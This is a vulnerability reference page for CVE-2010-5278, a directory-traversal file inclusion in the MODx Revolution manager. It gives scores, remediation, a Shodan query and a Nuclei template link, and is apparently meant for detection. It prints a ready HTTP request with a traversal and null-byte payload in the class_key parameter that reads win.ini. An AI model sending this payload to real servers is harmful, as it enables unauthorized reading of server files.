🔙 목록으로 돌아가기

CVE-2010-5278: MODx manager - Local File Inclusion

TitleMODx manager - Local File Inclusion
Authordaffainfo
SeverityMedium
ImpactAn attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
RemediationApply the latest patches and updates provided by MODx to fix the LFI vulnerability.
CVSS Score4.3
EPSS Score0.18602
CVE IDCVE-2010-5278
CWE IDCWE-22
Shodan Querycpe:"cpe:2.3:a:modx:modx_revolution"
Tags cve cve2010 lfi edb packetstorm modx vuln

🔍 Vulnerability Description

A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.

🌐 HTTP Request

GET /manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.8
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2010/CVE-2010-5278.yaml

🦈 Packet Capture: ⬇️ Download cve-2010-5278.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A